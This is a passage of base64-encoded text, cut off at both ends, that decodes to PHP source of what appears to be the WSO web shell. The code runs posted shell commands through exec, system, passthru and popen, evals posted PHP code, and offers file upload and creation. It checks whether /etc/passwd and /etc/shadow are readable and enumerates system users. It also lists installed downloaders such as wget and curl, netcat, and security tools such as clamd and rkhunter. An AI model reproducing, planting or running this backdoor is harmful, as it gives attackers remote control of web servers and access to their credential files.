ykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJzxicj4nIC4gd3NvVmlld1NpemUoJHRvdGFsU3BhY2UpIC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIHdzb1ZpZXdTaXplKCRmcmVlU3BhY2UpIC4gJyAoJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclKTxicj4nIC4gJGN3ZF9saW5rcyAuICcgJy4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+JyAuICRkcml2ZXMgLiAnPC90ZD4nDQogICAgICAgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5zRXJ2RXIgaVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5tWSBpUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOw0KfQ0KDQpmdW5jdGlvbiB3c29Gb290ZXIoKSB7DQoJJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmb250IGNvbG9yPSdncmVlbic+KFdyaXRlYWJsZSk8L2ZvbnQ+IjoiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOw0KICAgIGVjaG8gIg0KPC9kaXY+DQo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsnPg0KCTx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPmNIYU5nRSBkaVJ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5yRUFkIGZpTEV+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPm1Ba0UgZGlSfjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5tQWtFIGZpTEV+PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPmVYZUN1VGV+Izwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+DQoJCTxzcGFuPnVQTDBBZCBmaUxFfjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PGJyICA+PC90ZD4NCgk8L3RyPjwvdGFibGU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgew0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsNCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkge3JldHVybiBmYWxzZTt9IH0NCg0KZnVuY3Rpb24gd3NvRXgoJGluKSB7DQoJJG91dCA9ICcnOw0KCWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KCQlAZXhlYygkaW4sJG91dCk7DQoJCSRvdXQgPSBAam9pbigiXG4iLCRvdXQpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJQHBhc3N0aHJ1KCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAc3lzdGVtKCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsNCgl9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7DQoJCSRvdXQgPSAiIjsNCgkJd2hpbGUoIUBmZW9mKCRmKSkNCgkJCSRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQoJCXBjbG9zZSgkZik7DQoJfQ0KCXJldHVybiAkb3V0Ow0KfQ0KDQpmdW5jdGlvbiB3c29WaWV3U2l6ZSgkcykgew0KCWlmKCRzID49IDEwNzM3NDE4MjQpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsNCgllbHNlaWYoJHMgPj0gMTA0ODU3NikNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsNCgllbHNlaWYoJHMgPj0gMTAyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsNCgllbHNlDQoJCXJldHVybiAkcyAuICcgQic7DQp9DQoNCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7DQoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KCWVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOw0KCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7DQoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCgllbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KCWVsc2UgJGkgPSAndSc7DQoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpOw0KfQ0KDQpmdW5jdGlvbiB3c29QZXJtc0NvbG9yKCRmKSB7DQoJaWYgKCFAaXNfcmVhZGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQoJZWxzZQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCn0NCg0KZnVuY3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsNCiAgICAgICAgcmV0dXJuIHNjYW5kaXIoJGRpcik7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGRoICA9IG9wZW5kaXIoJGRpcik7DQogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpDQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsNCiAgICAgICAgcmV0dXJuICRmaWxlczsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHdzb1doaWNoKCRwKSB7DQoJJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsNCglpZighZW1wdHkoJHBhdGgpKQ0KCQlyZXR1cm4gJHBhdGg7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgew0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5zRXJ2RXIgU2VDdVJpVHkgaU5mMHJNYVRpMG48L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgew0KCQkkdiA9IHRyaW0oJHYpOw0KCQlpZigkdikgew0KCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7DQoJCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkNCgkJCQllY2hvICR2IC4gJzxicj4nOw0KCQkJZWxzZQ0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOw0KCQl9DQoJfQ0KDQoJd3NvU2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQ0KICAgICAgICB3c29TZWNQYXJhbSgnTG9hZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBhcGFjaGVfZ2V0X21vZHVsZXMoKSkpOw0KCXdzb1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsNCgl3c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7DQoJd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7DQoJd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7DQoJd3NvU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOw0KCSR0ZW1wPWFycmF5KCk7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkNCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiTVNTUUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIlBvc3RncmVTUUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJPcmFjbGUiOw0KCXdzb1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOw0KCWVjaG8gJzxicj4nOw0KDQoJaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsNCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7DQogICAgICAgICAgICB3c29TZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsNCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsNCiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsNCiAgICAgICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQ0KICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnIvPic7DQogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFjZScsIHdzb0V4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7DQogICAgICAgICAgICAgICAgZWNobyAnPGJyLz48c3Bhbj5wb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPmZSMG08L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+dDA8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0ICgkX1BPU1RbJ3AyJ10sICRfUE9TVFsncDMnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3AyJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMyddKSkgew0KICAgICAgICAgICAgICAgICAgICAkdGVtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICBmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdWlkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wIC49IGpvaW4oJzonLCR1aWQpLiJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnVXNlcnMnLCAkdGVtcCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCX0gZWxzZSB7DQoJCXdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOw0KCQl3c29TZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsd3NvRXgoJ25ldCBhY2NvdW50cycpKTsNCgkJd3NvU2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLHdzb0V4KCduZXQgdXNlcicpKTsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOw0KCQlvYl9zdGFydCgpOw0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsNCg0KCXdzb0hlYWRlcigpOw0KCWlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7DQoJCWVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOw0KCQlvYl9zdGFydCgpOw0KCQlwaHBpbmZvKCk7DQoJCSR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZShhcnJheSAoDQogICAgICAgICAgICAnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLA0KICAgICAgICAgICAgJyF0ZCwgdGggeyguKil9IW1zaVUnLA0KICAgICAgICAgICAgJyE8aW1nW14+XSs+IW1zaVUnLA0KICAgICAgICApLCBhcnJheSAoDQogICAgICAgICAgICAnJywNCiAgICAgICAgICAgICcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywNCiAgICAgICAgICAgICcnDQogICAgICAgICksICR0bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOw0KCX0NCiAgICBlY2hvICc8aDE+RXhFY1V0aTBuIFBIUC1jMGRFPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EoXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsNCgllY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9wcmU+PC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7DQogICAgaWYgKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgICRfQ09PS0lFWydmJ10gPSBAdW5zZXJpYWxpemUoJF9DT09LSUVbJ2YnXSk7DQogICAgDQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQkJY2FzZSAndXBsb2FkRmlsZSc6DQoJCQkJaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpDQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWx